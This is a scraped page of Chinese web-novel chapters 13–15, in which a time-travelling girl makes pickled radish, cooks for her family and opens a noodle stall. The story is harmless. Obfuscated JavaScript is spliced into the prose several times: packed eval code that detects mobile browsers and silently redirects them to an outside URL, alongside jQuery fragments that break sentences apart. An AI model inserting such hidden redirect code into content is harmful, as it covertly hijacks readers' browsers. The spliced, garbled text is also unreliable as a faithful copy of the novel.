$(''.inform'').remove(); $(''#content'').append('' 好了，你后日就可以去出摊。” 齐心站在院门口听到这消息激动得差点跳起来，她一直悬着颗心等着，又不好上门去催促，摊车都被她反反复复里外里擦过三四遍，终于等来了这期盼已久的好消息。 “多谢王伯伯！那…那去那出摊儿可还有什么要注意的？”她问完才反应过来不将人请进院儿里有多失礼，忙侧过身，“王伯伯快里面请。” 可王实摆了摆手：“夜深了，我就在门口说就好。本想明日一早再过来，但怕你等得急了，就先跑来告诉你一声。团街那儿出摊儿没什么特别的，官府那儿按月缴税，别轻易与人冲突，安安稳稳的就好。你做的东西好吃，一定生意兴隆。” 齐心听得心里暖乎乎的。 王伯伯这人别看相貌粗犷了些，可实则是个憨厚的性子，为人处事也有一套自己的原则，并不是那种过分随意不守礼的人。 她再次真诚地道谢：“辛苦王伯伯了，等我挣了钱，一定好好谢谢您。” “快别说什么谢不谢的，我们总来你家院子里挑水，不知省下多少银两呢，再要谢我这张脸可就没地方搁了。” 不等齐心再说什么，他忙开口催促：“好了，你快进屋吧，我先走了，等你出摊儿，我们都去你那儿吃。” 齐心看着他匆匆离开的背影，脸上的笑意不减反增。 这王伯伯实在是太过实诚了。 挑水这事儿她后来其实又问过段婆婆，若不是她们家同意王家来打水，他们自去买水一担两三文也是要的，如今三五日就能过来打上六七担，长年累月下来，确实能省下一笔不小的开支。 这会儿家中无水井的人户，就得到城中官府凿取的水井处打水，不仅路程远不方便，还要支付水课钱，这担水来来回回也难免有溅洒损耗，实在不值。 正是因段婆婆给他们行了方便，王家父子才会尽心回报。 这便是段婆婆的人情往来之道吧。 可一点儿挑水的便利哪里比得上替她们谋出一条赚钱的门路来，所以王实虽这样说了，齐心也没真打算就顺势扯平。 她心里自由决定，等手头宽裕一些了，定然是要好好报答的。 只是这方式她还真得好好想想。 一时想不清明，她先暗暗放下，赶紧回去同婆婆和阿娘说了消息，屋里果然又热闹了好一阵儿。 “那日做的陶坛应也做好了，正好明日出门去买些煤饼将它带回来。旁的都准备好了，等后日我把卤子做好就能直接出摊儿！” 齐心勾着手指头盘算着明日要做的事儿，顺带把婆婆和阿娘也一并安排了：“阿娘帮我好好看家，婆婆帮忙看顾小鸡小鸭，我呢——就出门挣银子给咱全家花！” 说得底气十足，对未来充满期待。 “几只鸡鸭崽子有什么打紧，出摊回来再喂就是了，往后我同你一起去，等你娘好了，我们就轮着来，家里留一个人就够。” 齐心对自己独自出摊儿心里是有些忐忑的，她对做小食生意实在没什么经验，本不想折腾段婆婆，可听婆婆不容拒绝的样子，心里忽而生出许多底气来。 她走过去靠着婆婆肩头：“婆婆真好。” “莫…莫名其妙说什么呢……” 老太太磕磕巴巴的别扭她全不放在心上。 君子论迹不论心，说的就是段婆婆吧？ 13. 第 13 章 “赵掌柜，您这手艺真不错，这陶土坛与我想要的分毫不差！” 齐心见到赵掌柜取来的陶土坛，惊喜得不住夸赞。 掌柜的也没过分谦虚，想来是对自己的手艺有些自信，只一拱手：“小娘子满意就好。” 她试图抱起坛子，可坛肚大出一圈儿着实不好使力，掌柜极有眼色地从柜台后掏出一长条绳缚来。 “这东西偏沉肚子还大，捧着不太方便，我给您系上绳子，或提或背，您怎么方便怎么来。” 齐心本以为他只是要在坛口下随意系上一圈，没想掌柜的动作麻利，那麻绳在他手里翻飞了片刻，那陶土坛便被五花大绑了起来，还顺便留出两条可提可背的绳带。 “还…还真行啊。” 这次没让段婆婆上手，她一连锻炼了几日，自觉是强壮了，二话不说揽过坛子背在自己背上，给掌柜的结了尾银，这才准备离开。 “哎哎哎！小娘子，你的图样！” 掌柜的见她们要走，忙掏出定制时的图样子追出来。 齐心回头，笑容笃定：“掌柜的留着吧，说不得还有用呢？” 说完留下摸不着头脑的赵掌柜扬长而去。 等泡菜真在这里流行起来，只怕赵记铺子要忙上一阵儿了。 回家前，齐心还顺便去买了红皮萝卜，再顺道去医馆给张秋玉拿药。 “我阿娘这几日瞧着精神头好多了，人有了胃口，每日也能下床稍稍走动走动。” “嗯，不错。”郎中点点头，“那今日把药给你调一调吧，不必之前的用量了。” “真的！”听到这话齐心一喜，“那我阿娘大概什么时候能完全好转？” “你娘乃情志内伤证，本是因情志过激所致的精气失调，忧思伤脾至气结，又恐又惊又悲，多种消耗，这才卧床不起，如今她已能下床走动，就是大好的征兆，若能保持心态平稳，想来不过月余就能痊愈了。” “我明白了，多谢郎中。” 心态平稳…… 等着郎中抓药的空隙，齐心坐在角落里默默思量着。 当时决定瞒着阿娘便是怕她身体承受不住，如今看着越来越好，她就更得小心谨慎不可露了马脚，不然以阿娘对“齐心”的宠溺程度，若是知道女儿不再是女儿，只怕这病…… 仔细回忆着自穿越来婆婆和阿娘的各种反应，她们对她好像并没有起什么疑心，最初因可能会暴露的惴惴不安，才渐渐消弭在婆婆和阿娘的关心疼爱之中。 决不能暴露。 阿娘再折腾不起了。 等回了家，段婆婆负责煎药，齐心则迅速洗净了泡菜坛放在院子里晒干。 买来的红皮萝卜将泥土洗掉，再把表面坑洼的部分削平整，据说保留萝卜皮能让泡萝卜的口感更加爽脆，齐心决定一半削皮一半不削来试试结果。 论坛里她能搜到的泡萝卜制作过程，几乎都有辣椒的参与，可是这几次买菜她都没能寻到辣椒的身影。 难道是还没有引进？ 可番柿、莱菔都有了，怎偏偏没有辣椒，还有玉米和马铃薯也不见踪影。 难不成还是分批进来的？ 齐心对宋朝的历史其实很有些兴趣，有一段时间看了不少相关的杂书，倒是见过一个与后世普遍观念不同的新奇说法： 明朝之前或许蜀地就已经有了辣椒的存在，只是因为地区和种植的局限，叫它无法真正走入各家各户，后来引进的辣椒应是后世的青椒一类，这里，或许小米辣已经在悄然生长。 “方法总比困难多，没有辣椒那我不用就是了，我都能穿越了，说不定哪天天上掉馅饼都有可能呢……” 齐心小声吐槽着，将洗净的萝卜全都切成了筷子头薄厚的片，撒上盐拌匀后放在一旁，等着它被杀出水分，顺带去去萝卜的生腥味。 [15L：一定一定记得要用凉白开或者纯净水，不然会影响【发酵】的！] 视线略过这层评论，齐心不动声色地直接舀了一大勺水缸里蓄积的水。 且不说这里没有纯净水，就算是凉白开她也不必这样麻烦，家里的水可是最好的天然的井水，怎么也比这些水干净清甜。 又是省事儿的一天！ “加入白醋…白糖……比例大概是……可微调…嗯，那就醋少一点。” “再搅拌均匀……” 筷子在碗盆里敲打的叮哐声响了起来，段婆婆端着张秋玉喝完的汤药碗走进灶房。 “老嘀嘀咕咕说什么呢？” “哎哟妈呀！” 正全神贯注的齐心被突然出现在身后的声音吓了好大一跳，“婆婆你吓死我了，我刚没说话呀。” “胆子怎这么小，我都听见了，什么醋啊脚的，这东西莫不是要用脚做？” “噗——”齐心一下就被逗笑了，方才的惊吓转瞬即逝，“不是脚，是搅拌均匀，啊……我刚还真说出来了。” 她手里动作没停，当着段婆婆的面就开始吐槽自己：“我也不知最近怎么回事，一做饭就爱自言自语呢，许是记性不好，得反复提醒自己。” 段婆婆也没在意：“多记一记就好了。” “说起这个，那天说要将做饭的步骤都记下来的事儿，婆婆你虽不会……额。”齐心一心两用着，脑子闭嘴快，意识到不对生生把话略过，“可是对学习做饭这事儿倒很了解嘛！” “我当年可是看着你爹这么过来的，没吃过猪肉也见过猪跑，多少知道一二。” “也是，齐……我爹当年一定也吃过不少苦吧？” 段婆婆收拾煎药炉的动作顿了顿，半晌直起身来，定定地看着齐心： “其实你爹……也有一本手札。” “手札？什么手札？”她仍旧忙着手里的准备工作，只随口问着并未在意。 “自然是做饭的手札。” 须臾。 略有些沉浸的齐心终于彻底从专注中拔了出来，立马转身直直地看向段婆婆。 婆婆叹了口气，很是不甘和遗憾：“确实是有一本的，不过应是落在了原先的宅子里，那时被人赶出来匆忙，也没想起来去寻，这会儿怕是都被人找到拿走了吧。” 一家子被人扫地出门也就罢了，就连儿子辛苦了多年的心血也被人抢占了去…… 齐心立马就反应过来那手札的重要性，上头记录的只怕都是独家秘方般的存在，是被什么酒楼宅院更加珍贵的东西。 她没出言安慰什么，只是快步上前，抱住了神色戚戚的段婆婆，用手轻轻拍着婆婆的背。 有时安慰，无声的就够了。 段婆婆意外地并未推开她，好一会儿后，才恢复一贯的严肃脸从她怀中退了出来。 “好好做你的菜。” 说完，几乎像是落荒而逃。 齐心在后头又想笑又有些心疼。 若是有机会能寻回那手札，对婆婆来说，或许也算是一种慰藉了。 暂时放下这些杂绪，齐心又准备了一些姜、蒜，本还可以放些花椒，但那实在太贵，她没舍得。 不过论坛里的一条小妙招她决定试试，回来前还买了几只梨，她切片了半只准备一会儿也放进坛子里。 这味道只家里日常吃吃，应当也很够用了。 杀好水的萝卜用净水再冲洗两遍，放在外头和泡菜坛一起晒干表面的水分。 一切准备就绪，齐心这才小心翼翼地将泡菜坛抱进灶房。 这会儿天气正热，坛子和萝卜不多时便已经晒干了，将萝卜先全数倒进坛中，再把拍过的蒜瓣儿，切片的生姜和梨肉加进去，最后倒进调好的泡菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058822|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 水准备得略多了些，只倒到刚刚没过萝卜即可，最后盖上盖子，用水封住坛口，把坛子放在灶房里阴凉的角落，这活儿就算完成了。 剩下的，就交给时间吧。 齐心掌心相对，拍了拍自己的士气： “做泡萝卜是第一次，所以‘新手光环’一定还有效！” 今晚她没打算再给婆婆和阿娘吃打卤面，一连吃了好几日，哪怕她换着青菜配餐，吃腻的劲儿也缓不过来。 今早刚把婆婆和阿娘叫到堂屋吃饭，两人一看见桌上的卤子和面，脸色很默契地都有些绿。 再好吃也遭不住顿顿吃啊！ 所以今晚她要做点完全不一样的口味，给她们改善改善伙食。 张秋玉都有些习惯了一天到晚也瞧不见女儿多长时间的日子，知道她好好的甚至很上进，她就已经很高兴了，只白日允许的走动次数里，她会静静地站在灶房门口，看着齐心忙碌的背影。 一时或手忙脚乱，一时或高兴或愤愤，就鲜活地在她眼前。 还好…还好上天没夺走她的女儿。 段婆婆这几日其实也没闲着，那日赶集买回来的菜子，都被她好好地种进了菜地里，白日里总要去看上几圈，直到看到菜子拱了土，她才放心。 这么多年的本事，还好没完全丢下。 看完又带着鸡鸭出去溜了一圈儿。这几日赶鸡赶鸭遛弯儿，周围几家邻里都瞧习惯了。 许娘子正在自家院儿里晾晒衣裳，又瞧见了段婆婆，主动打了招呼，声音却不大。 “段阿婆。” 段婆婆已经品出她不是善人情的性子，也只点了点头，随口搭上一句：“嗯，忙着呢？” 等路过王家，瞧见的就是比周围几家稍破败零落些的院子，段婆婆看得皱紧了眉头： “男人果然还是不当家，见天儿的在外头干活，这家里都遭乱成什么样儿了，真是……” 说着扭过脸不愿再看。 眼不见心不烦。 再绕回来，还不等过李娘子家的门，就听她扯着嗓门儿招呼上了： “呀阿婆，又溜鸡鸭呢！”她就倚在院门口看着段婆婆，“要我说你就让它们自己溜达就行了，这么多日，早就认识路了。咱们邻里邻居几户都不是什么偷鸡摸狗的，丢不了！” 段婆婆扯了扯嘴角，这话说得，倒像是她要提防周围几家了，只得解释一句： “这是哪儿的话，咱们这几户自然都是好的，只是放养怕脏了你们过路，那就不好了。” 李娘子一想到自家门口有可能出现成串儿的鸡粪，一时哽住，终于不劝，笑着问起旁的来：“也是，你们家姑娘今儿又准备做点什么好吃的？我可听灶房又忙活起来了。” 不问还好，这一问，段婆婆就想起那打卤面来，脸色一时有些难看。 “什么好不好的，就随意吃碗汤饼就是。” 李娘子见她变了脸色，也不好再问，只随意说上两句就自回屋去寻自家相公。 夫妻俩凑在一处，就听李娘子难得小声说起自己的猜测： “之前齐家的说是自家姑娘做饭，我还以为真是多厉害呢，方才只随口一问段婆子晚上吃点什么，她登时就变了脸色，只怕是齐姑娘厨艺上不得什么台面，难吃得叫老人家受不住。” 陈大郎才不关心这些，他更在意自家今晚吃些什么。 自家婆娘的厨艺，他是比谁都清楚的，就她也好意思嘲笑别人做饭难吃？ 但这话只心里默默地，丝毫不敢吐露半分。 “你猜得有理，不过娘子，咱今晚吃什么啊？听动静人齐家都做上饭了。” 陈大郎胳膊上果然收到结结实实一巴掌。 “吃吃吃，就知道吃，放你那颗猪心，且饿不着你！” 14. 第 14 章 齐心端起菜盆，里头是刚洗好的白崧，抬头看了一眼天色，夕阳渐落。 动作得快一点了。 今天的菜谱还是她沉浸论坛寻来的，简单快手的小菜，还有又酥又软的小油饼。 没有计量工具，她只能全凭直觉和为数不多的经验。 先烧开一炉水，再倒出两菜碗的面，面里加了半勺盐。她其实不太明白为何放盐，但既然人这样说了，自然有人的道理。 论坛里不乏做饭翻车的分享，按她的总结，就源于四个字。 灵机一动。 她这样的厨房小白，还是不要随意调整了。 慢慢倒入刚烧的开水，一边倒一边用筷子转着圈搅拌，约莫倒了小半碗的量，再重复步骤倒一次凉水。 这会儿面的温度正好，齐心直接上手把面捏成了团，虽不知怎么捏面才是最好的，但面面俱到总归是没错的。 等面团在手中变成光滑均匀的模样，她就知道这把成了！ 一个面团分成近乎均匀的三份，再在表面刷上一层油，放在一旁等它慢慢松弛。 她则先把刚才的白崧斜切成丝儿，另起一个小碗加醋、糖、盐、水，搅匀后备用。 炒制的过程就更简单了，大火将白崧丝快速炒软，沿着锅边淋入调好的料汁，“嗤啦——”一声醋汁的香气就立刻被激发出来。 只需再翻炒几下，就可以迅速出锅。 锅洗净重新烧了一大勺油，烧到冒烟后浇在她单独准备的一小碗面粉里，搅一搅就是一份漂亮的油酥了。 把刚分好的面团擀成大大的圆饼，抹上油酥，从中心向圆边划上一刀，从切口处把面团卷起来，再重新捏圆擀成面饼。 锅里剩着方才烧油留下的一层薄油，把面饼放进去叫油温快速将面饼两面烙熟。 不过一炷香的时间，就得了今日的晚饭。 “大功告成！” 齐心如今对自己是越来越有信心，这些简单快手的菜她甚至开始觉得有些没挑战，只恨不能赶紧学习做些复杂费时又难度高些的菜谱。 从前不做饭，是爸妈的宠爱，可这近半个月过去，她竟像是有些上瘾似的。偶尔就是做梦也是在研究菜谱，炒菜炖菜蒸菜…… 都快魔怔了！ 一手一盘，轻轻松松就送到了堂屋。 “婆婆！阿娘！吃饭啦——！” 等她将张秋玉扶进堂屋，段婆婆已经在桌边坐下了。 齐心笑着招呼：“咱们今晚吃得素净些。” “嗯，挺好。” 张秋玉握着她的手，笑得温柔：“素净好啊！咱们一连几日顿顿都有荤腥，吃点儿素的正好解解腻。” 齐心勾了勾唇角，知道阿娘是在找补。 每日就那一点儿末子般的肉，还不够塞牙缝的呢，哪有什么可腻的？不过是能省则省，等明日开始，她挣了钱，要叫大家顿顿都吃得起肉，荤素搭配的才好。 她坐下来，给每人分了一张饼，这才介绍起今晚的配菜来： “这几日辛苦婆婆和阿娘了，酱味儿的吃多了，所以想着换个醋溜的口味儿，酸酸甜甜，换一换这几日的咸。” 张秋玉捧着那张饼，眼中尽是惊喜： “这饼烙得真好，香香软软，表皮还带着一层酥！”她迫不及待地咬下一口，口感果然如她预想的那样，甚至还要更酥更软一些，“好吃好吃！好孩子，你这都上哪儿学来的啊？” 一双眼睛期待地看向齐心。 这次躲不掉了。 得想个理由。 她正绞尽脑汁，生怕回应不好张秋玉的期待，再把她惹出病来。 谁料段婆婆先她开口：“她从前见天的往外头跑，不知在外头吃过多少好东西，怎么也能吃会一二了。” 齐心愣了愣，迅速接上：“是啊阿娘，我之前在外头也瞧过不少呢！” 说完悄悄看了婆婆和阿娘一眼，没从她们脸上看出什么不对劲来，齐心这才放心。 人明明是一样的，只是壳子里的灵魂换了，这样的事儿，寻常人哪里会相信，如今婆婆和阿娘应该都已经相信她只是死后余生做出改变了。 “也对，那还是我的好姑娘聪慧有天赋，才能这么快就摸索出门道来，如今还能自己支起食摊儿了……”张秋玉话说到一半忽而哽咽，眼尾却带着笑意，“真好，真好……” 齐心伸手轻轻拍了拍她的肩膀：“阿娘吃饭。” 段婆婆先一步把烙饼卷起来送进嘴里。 饼面果然如儿媳说的那样先是一口酥，再往里是软，只稍稍嚼上两下，面香味儿就完全散开来，比外头干巴巴的胡饼好吃多了，最适合她这样上了年纪牙口不好的人。 “这饼不错。” 齐心一听双眼微弯，婆婆果然还是这样言简意赅，不过这“不错”，是不是她最近从婆婆口中听到的最高评价了？ 她笑盈盈地看向段婆婆：“看来烙饼很合婆婆心意。” 段婆婆勉强压下嘴角的笑意，将筷子伸向了那道醋溜白崧。 一口酸甜。 因着切成了细丝儿，方才她都没敢确认这是白崧，进了嘴才确定就是白崧，菜帮还带着点脆劲儿，一口菜一口饼，也还算相配。 见段婆婆已经一口接一口吃起来，齐心的一颗心尘埃落定。 今天“新手光环”可没翻车了。 张秋玉也学着一口饼配一口菜吃得舒爽。 她今日听齐心转述了郎中的话，想到自己不日真就要好起来，到时有力气拾掇家里，还能帮女儿分担分担食摊儿的活儿。一想到这个她就觉得浑身都充满了力气。 …… 临睡前，齐心还是最后检查了一下摊车里的东西。 “煤饼…火石…碗筷小凳…小桌…汤瓶……”边数还边用手清点着，“三个饭捂子，一口饭锅煮面……怎么总感觉缺点什么。” 段婆婆披着外衫乘着夜色出来，看见灶房还亮着，齐心就借着那点光在灶房门口捣鼓明日出摊的摊车。 “再看也看不出花儿来，快回屋睡觉。” 齐心还沉浸在缺什么的烦恼里，全然没注意段婆婆的话，只是觉得似乎有了救星，忙上前挽着人往摊车前凑： “婆婆婆婆，快帮我看看，我总觉得还缺了什么。” 段婆婆扫过她分类堆在车前的东西，只一眼就发现了问题。 “再来几个大勺。” “大勺？” 她瞪着眼睛，显然没反应过来。 段婆婆指着那几个饭捂子：“你给人舀卤子总该有个勺吧？” “对哦！”她一拍脑门，“怎么将这最基本的东西给忘了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058823|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >旋即冲上二楼翻出几把大勺洗净装车，这才舒了口气，段婆婆就在一旁默默看着她，直到她终于拾掇完想起该睡觉这件事，回头看见婆婆，就听婆婆缓缓说了一句： “万事都有第一次，已很妥帖了，不必紧张。” 昏黄的光亮就侧打在段婆婆的脸上，没什么特别的情绪，就这样淡然地看向她，可就是这份淡然里，似乎凝聚着不少的力量。 齐心恍若回到高考前的那一晚，她好像也是这样紧张，那种备考为了冲破命运的背水一战，也将她的紧张全都逼了出来。 妈妈那晚的眼神似乎就是段婆婆现下看她的眼神。 “拼了这么多年，明天正常发挥就好，不用把自己逼得太紧。” 她揉了揉忽然视线模糊的眼睛，想让自己分清到底是在回忆、现实还是梦境。 半晌，她听见自己不太平静的声音，闷闷地应了婆婆一声：“好。” 下一瞬齐心就感觉头顶落了一只温暖的手，轻轻抚着她的发顶，那暖意自上而下，直流入她的心底。 真好。 大家待她都很好。 她一直都有些幸运，所以没关系的。更不论练习了这样久，还有论坛这种好东西在手，实在没什么好怕的。 在心底给自己打足了气，脸上才终于露出点笑模样。 段婆婆见状收了手，板正的脸色也缓和下来： “这样就很好。” —— 褪去了紧张，躺在床上的齐心就只剩下了兴奋和期待。 满脑子都是明天该怎么招揽客人、介绍货品、煮面、打卤子……所有她能想到的流程和话术全在脑子里过上一遍，直到彻底扛不住困意睡了过去。 这一熬夜，第二天的鸡鸣声都叫不醒她了，还是段婆婆觉得不对，将她从被窝里拉起来，才赫然惊醒。 她猛地坐起身，一把抓住段婆婆的手：“完了完了完了完了完了睡过头了！什么时辰了！” “刚过辰正呢，来得及。” “那就好那就好。”她顺了顺自己胸口的紧张，火速起床，所有的困意都被即将出摊的激动扫空。 洗漱后就径直钻进了灶房。 这几日的练习已经叫她熟悉了一套完整的制作过程，除了番柿鸡子和经典卤两个口味，她还新增了一个，就为了能满足更多人的口味。 想定了午时出摊，这会儿开始做，时间正来得及，若是顺利，还能余出不少时间，赶去团街也就不必急匆匆的了。 因着是头一天卖，三个卤子齐心没敢备太多，一个口味约莫装下十人份的量，进了不同的饭捂子，面条等着到了摊位现卖现煮才不影响口感。 终于一切装车妥当，齐心推着摊车跟张秋玉告别，她坐在堂屋门口已看了许久，眼里含着笑，就这样温柔地冲齐心挥了挥手。 “卧房放了一碟点心，阿娘若是饿了，就先吃一些垫垫肚子。我和婆婆走啦，阿娘快进屋！” 张秋玉笑着：“我看你们出了院门就回去。” 齐心知她是高兴是不舍，也没强求，这几日她已经可以不靠人搀扶慢慢走几步了，便也没太过担心，任由她看着自己和婆婆出门。 可两人还没走出几步，就听身后急匆匆有人跑近前来，好奇开口： “呀！齐姑娘，你们这是做什么去？” 15. 第 15 章 齐心正卖力推车的动作一顿，缓缓转身，脸上笑容勉强： “李婶婶。” 李娘子好奇地绕车看了一圈儿，眼中满是诧异：“我见有人推车还道是谁呢，这车……你们莫不是要出去摆摊儿？” 见车上还有几个饭捂子，她自说自话着就想打开来瞧，齐心见状，立马上前一步，自然地挡住了她手的去路。 她头一次压沉了语气：“李婶婶，我们还有事就先走了。” 不等李娘子再说什么，她重新握住车把，头也不回地走了。 被留在原地的李娘子神色尴尬地看了四周一眼，见没有其他人，这才冲着齐心的背影啐了一口。 “什么玩意儿藏着掖着的也不叫人看，不就是摆摊儿嘛，饭都不做好的姑娘家，家里还纵着这样折腾，活该上吊一回。等我儿过几年榜上有名了，就你们这样的身份再想高攀亲近都不配。” 说完从鼻子里挤出一声冷嗤，脸上哪还有平日待人的热络。 齐心等出了街巷进了正街，这才去问段婆婆：“婆婆，我方才会不会…太过分了？” 谁知段婆婆嫌弃地看了她一眼：“她不知进退，蹬鼻子上脸，难不成还要一直忍着她？” “可婆婆之前不是说她也帮了咱家不少……” “她若不过界，咱们自己多记她一分好，可若她过了界，这分好自然要没了，她给你娘送饭，咱也给了银两不是？真论起来也不欠她什么，你不必有什么心理负担。” 齐心难得听段婆婆一次说这么多话，是以听得认真，没急着反驳。 其实她也不是多顾忌着李娘子，不过是看在阿娘和婆婆的份儿上，这才客气些，不然就李娘子那种毫无边界感的人，她从一开始就要离得远远的了。 初次见面时她就不太喜欢这位闹喳喳的隔壁邻居，那会儿只觉得或许是气场不和，今日却是真讨厌上了。别人家的事儿，非要上赶着打探个清楚，也不知是在折腾个什么劲儿。 要照她说，这李娘子就是闲的，一双眼睛只恨不能长在别人家房梁顶上，当个三百六十度的摄像头，把别家的事儿全都盘剥个底朝天。 晦气。 “既然婆婆这样说，那我可就不收着了，这位邻居我是真不喜欢，到时若是请人到家里吃饭，我可不请她。” 齐心笑着，哪里像有什么心理负担的样子，奔着团街，脚步愈发轻快。 等到了前几日提前走过的市集位置，发现缺的一角正是那日买过糍糕的摊子。 这位置并不算太好，正在市集的末尾，隔壁是个饮子摊，如今天热，正卖着冷饮、凉水一类的吃食。 齐心将摊车规规矩矩地停了进去，与那饮子摊中间隔出些自然的距离，方便人进出。 那隔壁摊主是个机灵的，见齐心眼生却能大大方方推着车进来，便猜到了几分： “姑娘，你这是与人说好了留的位置吧？” 齐心正拾掇着东西往外摆，听隔壁娘子主动搭话，也礼貌地应了一句： “正是，我这初来乍到的不甚熟悉，往后还请姐姐多多关照。” 那娘子一听顿时喜得笑开了花儿，忙摆手：“哟，什么姐姐呀，我这年纪都能当你娘了！” 齐心故作惊讶：“怎么会，你看着可年轻了呢！” “哎呀这把人都说得不好意思了，我姓段，你往后就叫我婶婶吧，你刚来不认识人，我一会儿都指给你介绍介绍。” “谢谢段婶婶！” 嘴甜，果然是与生人相处的诀窍。 等齐心将桌子折凳都准备好，再仔细掏出她用一块儿麻布写好的招牌菜单挂在摊车顶上，打卤面几个大字明晃晃的，下头三个口味都标注了价格。 婆婆和阿娘都问过她定价会不会太便宜，毕竟后两个卤子里都带了许多肉呢！ “其实不过看着多，经典卤里的肉片切得薄薄的，看着多，实则一份里出不了多少，豆角肉末里猪肉的用量就更少了，只需一小块儿，剁得碎碎的，与豆角一起，便又是一大锅，很是出量。且这不过是小本生意，图的就是薄利多销回头客。” “那日去团街也看过了，来来往往的人实在不少，稳住了口味和价格，就不愁没人买。” 齐心当时便是这样说服了段婆婆和张秋玉的。 但她心里实则还有一句话没好说出口，她只怕自己定价太贵，吸引不了食客尝鲜，那投进去的银子可就都打了水漂了。 她赌不起，她们一家都赌不起。 段婆婆帮着烧起了煤饼，将蓄好的水提前烧开，碗筷也都归置在面上顺手可以拿到的位置。 三个饭捂子的盖儿都被她打开一条缝儿来，让人能大致瞧见里头的东西顺带闻到香味儿，却又不至于散了热气。 隔壁的段娘子闻着一阵阵飘过去的香味儿，没忍住探头看了看齐心那边。 “你们这是卖的什么，好香啊！” 齐心大大方方地答：“我们这摊子专卖打卤面。” “打卤面？那是什么？” “就是将炒好的卤子浇在面上的做法，一会儿煮了面，给婶婶尝一碗。” 段娘子忙摆手拒绝：“不了不了，你这用来卖的，我怎好占了。一会儿饿了我便自己买上一碗尝尝。” “婶婶客气了，不过一碗面的事儿，还要劳烦您给我介绍介绍这团街的人和事儿呢，一碗面，实在算不上什么。” 段娘子见齐心是真心相请，便也没再多推拒，只想着一会儿给她指点这街上的人要更尽心些。 趁着检查煤饼的空挡，段婆婆将齐心拉到车尾小声说起了话： “你就这样将法子说出去，就不怕旁人盗了用了？” “将卤子浇在面上那是人人都看得到的，便是我不说，大家看久了也就知道了，重要的还是怎么炒制，就算真有人能将炒制的法子也猜出来，那也算人家的本事。” 齐心面色淡然，这种可能她早就想到了，突然新鲜出世的玩意儿，定然会引起旁人的注意，若是卖得差，无人会学，她自己也不会坚持长久，若是卖得好，免不了有人动旁的心思。 可做饭这事儿，向来是要有层出不穷的新意，哪怕打卤面真被人复刻了出来，她也还有论坛在手，千千万万的菜谱等着她去挖掘，等她真成长到一定的阶段，或许不靠论坛也能制作出专属于自己的菜谱，又哪里真的会被几味卤子绊住脚步。 “婆婆不必担心，这打卤面也不过是一时的，我并没打算永远只做这一门，世间食材千万，我总能做出更多不同来。” 段婆婆听着她的话，眼瞳微怔。 这不仅仅是安慰，更是她的野心和向往。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058824|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不局限于此，这很好…… 立马被说服的段婆婆瞬间没了顾虑，这孩子不仅稳重还颇有些远见，就连最坏的打算也做好了还能有如此心态，看来放手让她去做并不是个错误的决定。 就这么一会儿，等齐心再抬头，就见市集那头渐渐多出了不少人影，或是进了就近的铺子，又或是往这一路摊位来。 她搓了搓手，颇有些期待。 今日的头一位食客，会是什么人呢？ …… “爹，咱今天去给齐家姑娘捧捧场吧？” 王星荣刚放下手中的最后一肩货物，就迫不及待地问起他爹来。 前几日虽说上外头吃了几个菜短暂地解了馋，可不知为何，他还是很惦记齐家那两顿面。 知道今日齐心会来出摊，他一早上都是心痒难耐，只恨时间不能再快一点，直接飞奔到下工的时辰。 王实放下货物拍了拍手，又掸了掸衣角上的灰，朝着不远处还在卸货的脚夫看了一眼。 “嗯，是该去看看。” 远远地，齐心就瞧见一群，男子。说是一群，不过五六个的样子，只是因身材看着格外壮实，这才显得格外占数。 她看着他们浩浩荡荡地往这边走来，离得越近，她就越发生出一股熟悉的感觉来。 为首的那人，怎么越看越像王星荣？ “齐小娘子！” 那人似乎与她对视上了，远远地就挥起手来，脚步更快了，几乎是连跑带走地奔到摊位前来，一双眼睛亮晶晶的，分明是馋虫附体的模样。 “齐小娘子，你出摊了！” 虽那日说过要呼名唤姓，可真到了外头，当着这么多人的面，王星荣还是有点开不了口，遂还是按通称唤了小娘子。 齐心没说什么，也是热络地招呼： “你来啦！可是下工了？” 王星荣身后那一队人也已经走到摊车面前了，几个壮汉往这一站，便将摊位堵得个严严实实的，若是不知的，只怕以为他们是来找事儿的。 “嗯，除了我爹，还有这几位，都是和我们一道做活儿的，我同他们说了你这儿新开张的打卤面格外好吃，他们不信，非说要自己尝过才算数！” 齐心知道哪是什么信不信的，不过是王家父子存了照顾她生意的心思，这才邀了人一同前来，心里是有些感动的，忙情人在小桌凳前坐下。 “多谢星荣哥哥，多谢几位叔叔伯伯这么捧场，今日你们吃面我一定多多的煮上一大碗。打卤面一共做了三个口味的，番柿鸡子，豆角肉末和经典卤。” 王星荣一听，忙又转头招呼起人：“快快，你们看看都要吃什么口味的。” 其中一位面庭开阔，身形最为壮硕的先开了口：“其它两样倒是知道放了什么，这经典卤里又是放了什么东西？” 齐心回到摊车后，揭开了三个喷香的饭捂子： 